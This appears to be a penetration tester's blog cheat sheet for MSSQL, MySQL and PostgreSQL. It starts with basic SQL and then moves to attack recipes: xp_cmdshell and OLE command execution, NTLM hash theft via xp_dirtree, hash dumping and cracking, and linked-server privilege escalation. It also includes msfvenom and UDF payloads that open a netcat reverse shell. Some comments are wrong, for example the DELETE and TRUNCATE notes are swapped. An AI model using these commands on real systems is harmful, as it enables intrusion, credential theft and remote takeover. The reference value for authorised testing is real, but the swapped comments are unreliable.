Blog
Page cover image

MSSQL / MYSQL / PSQL

SQL / MYSQL cheat sheet

00. Basic

## ------------------| Create Database
CREATE DATABASE <DB_NAME>;

## ------------------| Create User & Grant Privileges
CREATE USER '<USER>'@'<IP>' IDENTIFIED BY '<PASSWORD>';
GRANT ALL PRIVILEGES ON <DB_NAME>.* TO '<USER>'@'<IP>';
FLUSH PRIVILEGES;

## ------------------| Show & Use Database
SHOW DATABASES;
USE <DB_NAME>;
SHOW TABLES;
DESCRIBE <TABLE_NAME>;

## ------------------| Create Table
CREATE TABLE employees (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(100),
    age INT,
    department VARCHAR(50),
    salary DECIMAL(10,2)
);

## ------------------| Inserting Data
INSERT INTO employees (name, age, department, salary) VALUES ('h4rithd', 30, 'IT', 5000.00);
INSERT INTO employees (name, age, department, salary) VALUES ('Alice', 28, 'HR', 4500.00),('Bob', 35, 'Finance', 6000.00);

## ------------------| Updating Data
UPDATE <TABLE_NAME> SET column1 = newvalue1, column2 = newvalue2 WHERE <condition>;
UPDATE employees SET salary = 7000.00 WHERE name = 'h4rithd';

## ------------------| Deleting Data
DELETE FROM employees;               -- Delete specific record with id = 3
TRUNCATE TABLE employees;            -- Reset auto-increment ID (MySQL only)
DELETE FROM employees WHERE id = 3;  -- Delete all records

## ------------------| Selecting & Filtering Data
SELECT * FROM <TABLE_NAME>;
SELECT * FROM <TABLE_NAME> WHERE <condition>;
SELECT name, salary FROM employees WHERE department = 'IT';

## ------------------| Sorting Results
SELECT * FROM <TABLE_NAME> ORDER BY <COLUMN> ASC;
SELECT * FROM <TABLE_NAME> ORDER BY <COLUMN1> DESC, <COLUMN2> ASC;

## ------------------| Limiting Results
SELECT * FROM <TABLE_NAME> LIMIT <OFFSET>, <COUNT>;

## ------------------| Pattern Matching (Regex-like)
SELECT * FROM <TABLE_NAME> WHERE <COLUMN> LIKE '%value%';  -- contains
SELECT * FROM <TABLE_NAME> WHERE <COLUMN> LIKE 'value%';   -- starts with
SELECT * FROM <TABLE_NAME> WHERE <COLUMN> LIKE '%value';   -- ends with

## ------------------| Drop Table or Database
DROP TABLE <TABLE_NAME>;
DROP DATABASE <DB_NAME>;

## ------------------| Alter Table
ALTER TABLE <TABLE_NAME> ADD <COLUMN_NAME> <DATA_TYPE>;        -- Add new column
ALTER TABLE <TABLE_NAME> RENAME COLUMN old_name TO new_name;   -- Rename column (MySQL 8+)
ALTER TABLE <TABLE_NAME> MODIFY <COLUMN_NAME> <NEW_DATA_TYPE>; -- Modify data type
ALTER TABLE <TABLE_NAME> DROP COLUMN <COLUMN_NAME>;            -- Drop column

## ------------------| Table Column Properties
PRIMARY KEY (<COLUMN>);                  -- Uniquely identify propertie
<COLUMN> INT NOT NULL AUTO_INCREMENT;    -- Automatically Increments 
<COLUMN> <DATA_TYPE> UNIQUE NOT NULL;    -- Unique value, cannot be NULL
<COLUMN> <DATA_TYPE> DEFAULT NOW();      -- Default value is current timestamp
<COLUMN> <DATA_TYPE> NOT NULL;           -- Cannot be NULL

## ------------------| Useful Column Enumeration (OSINT/Pentest)
SELECT table_name, column_name FROM information_schema.columns 
WHERE column_name LIKE '%pass%' 
   OR column_name LIKE '%user%' 
   OR column_name LIKE '%username%' 
   OR column_name LIKE '%password%';

## ------------------| Miscellaneous
SELECT COUNT(*) FROM <TABLE_NAME>;            -- Count rows
SELECT DISTINCT <COLUMN> FROM <TABLE_NAME>;   -- Distinct values
RENAME TABLE old_table TO new_table;          -- Rename table
CREATE TABLE backup_employees AS SELECT * FROM employees;    -- Backup table (structure + data)

01. MSSQL [1433]

  • Enumaration

## ------------------| Nmap Scripts
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>       

-- ms-sql-info: Grabs basic MSSQL information.
-- ms-sql-empty-password: Tests for blank password access.
-- ms-sql-xp-cmdshell: Checks for command execution via xp_cmdshell.
-- ms-sql-dump-hashes: Dumps password hashes.
-- ms-sql-ntlm-info: Gathers NTLM information.
-- ms-sql-tables: Lists tables in accessible databases.
-- ms-sql-hasdbaccess: Checks user access to databases.

## ------------------| Metasploit Modules
use auxiliary/admin/mssql/mssql_ntlm_stealer           ## Steal NTLM hash, before executing run Responder  
use auxiliary/admin/mssql/mssql_enum                   ## Enumerate MSSQL server configuration and version info  
use auxiliary/admin/mssql/mssql_enum_domain_accounts   ## Enumerate domain accounts via MSSQL  
use auxiliary/admin/mssql/mssql_enum_sql_logins        ## Enumerate SQL login users  
use auxiliary/admin/mssql/mssql_findandsampledata      ## Find and dump sample/interesting data  
use auxiliary/scanner/mssql/mssql_hashdump             ## Dump password hashes from MSSQL server  
use auxiliary/scanner/mssql/mssql_schemadump           ## Dump full database schema (tables, columns, etc.)  
use auxiliary/admin/mssql/mssql_idf                    ## Identify and extract sensitive fields (emails, phones, etc.)  
use exploit/windows/mssql/mssql_linkcrawler            ## Uses linked servers to pivot/escalate access  
use auxiliary/admin/mssql/mssql_escalate_execute_as    ## Try privilege escalation using EXECUTE AS (IMPERSONATE permission required)  
use auxiliary/admin/mssql/mssql_escalate_dbowner       ## Escalate from db_owner role to sysadmin  
use auxiliary/admin/mssql/mssql_exec                   ## Execute system commands via xp_cmdshell  
use exploit/windows/mssql/mssql_payload                ## Upload and execute a custom payload on the target  
use windows/manage/mssql_local_auth_bypass             ## Add new local admin user via Meterpreter session (bypasses auth)

## ------------------| NetExec MSSQL Commands
nxc mssql $IP -u <user> -p <pass> -k             ## Use Kerberos authentication
nxc mssql $IP -u <user> -p <pass>                ## Test credentials for MSSQL access
nxc mssql $IP -u <user> -H <NTLM_hash>           ## Authenticate using NTLM hash
nxc mssql $IP -u <user_list> -p <pass_list>      ## Password spraying to find valid credentials
nxc mssql $IP -u <user> -p <pass> --local-auth   ## Use local authentication instead of domain
nxc mssql $IP -u <user> -p <pass> -M mssql_priv  ## Check for privilege escalation (impersonation to sa)
nxc mssql $IP -u <user> -p <pass> -x "whoami"    ## Execute system command via xp_cmdshell
nxc mssql $IP -u <user> -p <pass> -X "whoami" --no-output  ## Execute PowerShell command without output
nxc mssql $IP -u <user> -p <pass> -q "SELECT name FROM master.dbo.sysdatabases;"  ## Execute SQL query to list databases
nxc mssql $IP -u <user> -p <pass> --put-file <local_file> <remote_file>  ## Upload file to target
nxc mssql $IP -u <user> -p <pass> --get-file <remote_file> <local_file>  ## Download file from target

## ------------------| Impacket MSSQL Tools
impacket-mssqlclient $IP -k                                    ## Use Kerberos authentication (requires KRB5CCNAME set)
impacket-mssqlclient <user>:<pass>@$IP                         ## Connect with SQL authentication
impacket-mssqlclient <DOMAIN>/<user>:<pass>@$IP -windows-auth  ## Connect to MSSQL with Windows authentication
impacket-mssqlclient <user>@$IP -hashes <LMHASH>:<NTHASH>      ## Authenticate using NTLM hashes
impacket-mssqlclient <user>:<pass>@$IP -q "SELECT @@version;"  ## Execute SQL query to get server version
impacket-mssqlclient <user>:<pass>@$IP -q "EXEC xp_cmdshell 'whoami';"  ## Execute system command via xp_cmdshell
impacket-mssqlclient <user>:<pass>@$IP -q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"  ## Enable xp_cmdshell
impacket-mssqlclient <user>:<pass>@$IP -q "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"  ## Check for impersonation privileges
impacket-mssqlclient <user>:<pass>@$IP -q "EXECUTE AS login = 'sa'; SELECT IS_SRVROLEMEMBER('sysadmin');"  ## Attempt impersonation to sa
impacket-mssqlclient <user>:<pass>@$IP -q "EXEC sp_linkedservers;"  ## List linked servers for potential pivoting

## ------------------| MSSqlPwner 
mssqlpwner $IP enumerate -u <user> -p <pass>          ## Enumerate MSSQL server details
mssqlpwner $IP exec -u <user> -p <pass> -cmd "whoami" ## Execute command via xp_cmdshell or other methods
mssqlpwner $IP ntlm-relay -u <user> -p <pass> -t $IP  ## Perform NTLM relay attack (e.g., with xp_dirtree)
mssqlpwner $IP brute -u <user_list> -p <pass_list>    ## Brute force credentials
mssqlpwner $IP -u <user> -hashes <LMHASH>:<NTHASH>    ## Authenticate using NTLM hashes
mssqlpwner $IP -k                                     ## Use Kerberos authentication
mssqlpwner $IP get-link-server-list -u <user> -p <pass>  ## Enumerate linked servers
mssqlpwner $IP interactive -u <user> -p <pass>        ## Interactive mode for manual queries and commands
mssqlpwner $IP direct-query -u <user> -p <pass> -q "SELECT @@version;"  ## Execute custom SQL query

  • Basic

## ------------------| Bruteforce 
nxc mssql $IP -u users.txt -p pass.txt
nxc mssql $IP -u users.txt -p pass.txt --local-auth

## ------------------| Login to the database
impacket-mssqlclient <UserName>:'<Password>'@$IP 
impacket-mssqlclient <UserName>:'<Password>'@$IP -windows-auth 

## ------------------| Execute commands with impacket-mssqlclient
enable_xp_cmdshell
xp_cmdshell whoami

## ------------------| Execute commands with CrackMapExec
nxc mssql $IP -u <UserName> -p <Password> -x "whoami"  # CMD command
nxc mssql $IP -u <UserName> -H <HASH> -X 'whoami'      # PowerShell

## ------------------| Enable xp_cmdshell manually
SELECT IS_SRVROLEMEMBER ('sysadmin');
EXEC sp_configure 'Show Advanced Options', 1; 
reconfigure; 
sp_configure; 
EXEC sp_configure 'xp_cmdshell', 1 
reconfigure; 
xp_cmdshell "whoami"

## ------------------| Steel NTLM Hash
sudo responder -I tun0
EXEC xp_dirtree '\\10.10.14.38\h4rithd'
DECLARE @h varchar(200);SET @h='\\10.10.14.38\h4rithd'; EXEC master.dbo.xp_dirtree @h;  
## Crack
hashcat -m 5600 hash.txt wordlist.txt
john hash.txt -w=wordlist.txt

## ------------------| Enable external scripts
EXECUTE sp_configure 'external scripts enabled', 1;
RECONFIGURE
EXEC sp_execute_external_script @language = N'Python', @script = N'print("Hello harith");';
EXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("whoami");';

  • Common Commands

## ------------------| Connet
sqlcmd -U <UserName> -P '<Password>' -Q "sp_databases"
sqlcmd -U <UserName> -P '<Password>' -Q 'USE <DATABASE>; select * from users;'

## ------------------| List all databases
SELECT name FROM master.dbo.sysdatabases;
select name from sysdatabases;
EXEC sp_databases;

## ------------------| List Tables
select table_name,table_schema from <DB_NAME>.INFORMATION_SCHEMA.TABLES;
SELECT name FROM <DBNAME>..sysobjects WHERE xtype = 'U';

## ------------------| List Column Names 
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'table_name');     
SELECT table_name, column_name FROM information_schema.columns;
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>' ORDER BY ORDINAL_POSITION
EXEC sp_columns '<TABLE_NAME>'

## ------------------| Export data
EXEC xp_cmdshell 'bcp "SELECT * FROM sysfiles" queryout "C:\dump-data.txt" -T -c -t,'

## ------------------| Search text in stored procedure in SQL Server
SELECT name FROM sys.procedures WHERE Object_definition(object_id) LIKE '%flag%';

## ------------------| Other
select name,sysadmin from syslogins;
SELECT schema_name FROM information_schema.schemata;

## ------------------| Check links 
select srvname, isremote from sysservers; <-- value 1 is remote 0 is linked
exec ('select current_user') at [linkd_name];
exec ('select name,sysadmin from syslogins') at [linkd_name];
exec ('EXEC (''EXEC sp_addlogin ''''h4rithd'''', ''''harith!1'''''') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];  
exec ('EXEC (''EXEC sp_addsrvrolemember ''''h4rithd'''', ''''sysadmin'''''') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\EXEC POO_CONFIG];  

## ------------------| Enable Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
EXEC sp_configure reconfigure;

## ------------------| Command Execution
EXEC master.dbo.xp_cmdshell 'cmd';
EXEC xp_cmdshell 'cmd';

## ------------------| Enable Alternative Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'OLE Automation Procedures', 1;
EXEC sp_configure reconfigure;

## ------------------| Alternative Command Execution
DECLARE @execmd INT;
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c';

## ------------------| RunAs
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'password', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
EXECUTE AS USER = 'FooUser'; 

## ------------------| Read file (MSSQL)
BULK INSERT dbo.temp FROM 'c:flag.txt' WITH ( ROWTERMINATOR='n' );
DECLARE @h varchar(200);SET @h='\\10.10.14.38\h4rithd'; EXEC master.dbo.xp_dirtree @h;

  • MDF File locations

## SQL Server 2019 --> MSSQL15.XXXXXX
## SQL Server 2017 --> MSSQL14.XXXXXX
## SQL Server 2016 --> MSSQL13.XXXXXX
## SQL Server 2014 --> MSSQL12.XXXXXX

## ------------------| For example : SQL Server 2019
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Backup\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Backup\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\mastlog.ldf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\mastlog.ldf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\tempdb.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\tempdb.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\MSDBData.mdf
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\MSDBData.mdf

  • MDF Extracting

git clone https://github.com/xpn/Powershell-PostExploitation.git
cd Powershell-PostExploitation/Invoke-MDFHashes
## Edit following lines on Get-MDFHashes.ps1 file
[System.Reflection.Assembly]::UnsafeLoadFrom($PSScriptRoot + "\OrcaMDF.RawCore.dll") | Out-Null
[System.Reflection.Assembly]::UnsafeLoadFrom($PSScriptRoot + "\OrcaMDF.Framework.dll") | Out-NUll   
pwsh
. .\Get-MDFHashes.ps1
Get-MDFHashes -mdf master.mdf

02. MYSQL [3306]

  • MySQL [MariaDB] Common

## ------------------| Remote Connect 
mysql -h $IP -u <USER> -P <PORT> -p
mysql -h $IP -u <USER> -P <PORT> -p --skip-ssl
mysql -h $IP -u <USER> -P <PORT> -p --skip-ssl-verify-server-cert

## ------------------| Config files
/etc/mysql/mariadb.conf.d/50-server.cnf

## ------------------| Backup
mysqldump -u <USER> -p drupal > drupal_backup.sql

## ------------------| Import
mysql -u <USER> -p drupal < drupal_backup.sql

## ------------------| Common Commands
SHOW DATABASES;                            ### List databases
USE dbname;                                ### Change active database
USE mysql;                                 ### Change to the “system” database
SHOW TABLES;                               ### Show tables in active database
DESCRIBE tablename;                        ### Show table properties
SELECT host,db,user FROM mysql.db;         ### List databases
SELECT user,host,password FROM mysql.user; ### List all users

## ------------------| Reset password
sudo service mysql stop
sudo mkdir /var/run/mysqld
sudo chown mysql: /var/run/mysqld
sudo mysqld_safe --skip-grant-tables --skip-networking &
mysql -u root
FLUSH PRIVILEGES;
UPDATE mysql.user SET authentication_string=PASSWORD('toor'), plugin='mysql_native_password' WHERE User='root' AND Host='localhost';
# ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';
FLUSH PRIVILEGES;
SELECT user,authentication_string,plugin,host FROM mysql.user;
EXIT;
sudo mysqladmin -S /var/run/mysqld/mysqld.sock shutdown
sudo service mysql start

02.1 Common Exploits

## ------------------| Check version
SELECT VERSION();

## ------------------| Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o exploit.so             
###  Copy the payload to the target machine

## ------------------| Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/exploit.so";'

04.1 User-Defined Function

  • 5.5.5-10.3.20-MariaDB

## ------------------| Enum
show variables like '%plugin%';
show variables like '%secure_file_priv%'; ## this should return null or empty

## ------------------| Setup
git clone https://github.com/mysqludf/lib_mysqludf_sys && cd lib_mysqludf_sys
sudo apt install -y default-libmysqlclient-dev
wget https://deb.sipwise.com/debian/pool/main/m/mariadb-10.3/libmariadb-dev_10.3.23-0+deb10u1_amd64.deb
sudo dpkg -i ./libmariadb-dev_10.3.23-0+deb10u1_amd64.de
rm lib_mysqludf_sys.so
gcc -Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so    
xxd -p lib_mysqludf_sys.so | tr -d '\n' > lib_mysqludf_sys.so.hex

## ------------------| Execute
set @shell = 0x<SHLLCODE>
select @@plugin_dir;
select binary @shell into dumpfile '<plugin_dir>/udf_sys_exec.so';
drop function sys_exec;
create function sys_exec returns int soname 'udf_sys_exec.so';
select * from mysql.func where name='sys_exec';
select sys_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 443 >/tmp/f');

  • MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

## ------------------| Enum
show variables like '%plugin%';
show variables like '%secure_file_priv%'; ## this should return null or empty

## ------------------| Setup
wget https://www.exploit-db.com/raw/1518 -O raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc 

## ------------------| Execute
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
select * from foo into dumpfile '<plugin_dir_path>/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('ping -c 2 <IP>');

03. PostgreSQL [5432]

## ------------------| Connect to database
psql -h localhost -d <DB_NAME> -U <USER_NAME>
### Using php
<?php
$conn = pg_connect("host=127.0.0.1 dbname=<DBName> user=<UserName> password=<PassWord>");
$result = pg_query($conn, "SELECT * FROM <DBName>");
$output = pg_fetch_all($result); print_r($output);
?>

## ------------------| Common Commands
\c                    ### Show Current Database
\du                   ### Show Current User
\l                    ### List All Databases
\c <database_name>    ### Switch to a Specific Database
\dt                   ### List All Tables
\d <table_name>       ### Describe a Specific Table
\d+ <table_name>      ### List All Columns in a Table
\dp                   ### List All Access Privilege
\dp <table_name>      ### List Access Privileges for a Specific Table
\di                   ### List All Indexes
\dn                   ### List All Schemas

select * from <TABLE_NAME>

Last updated

Was this helpful?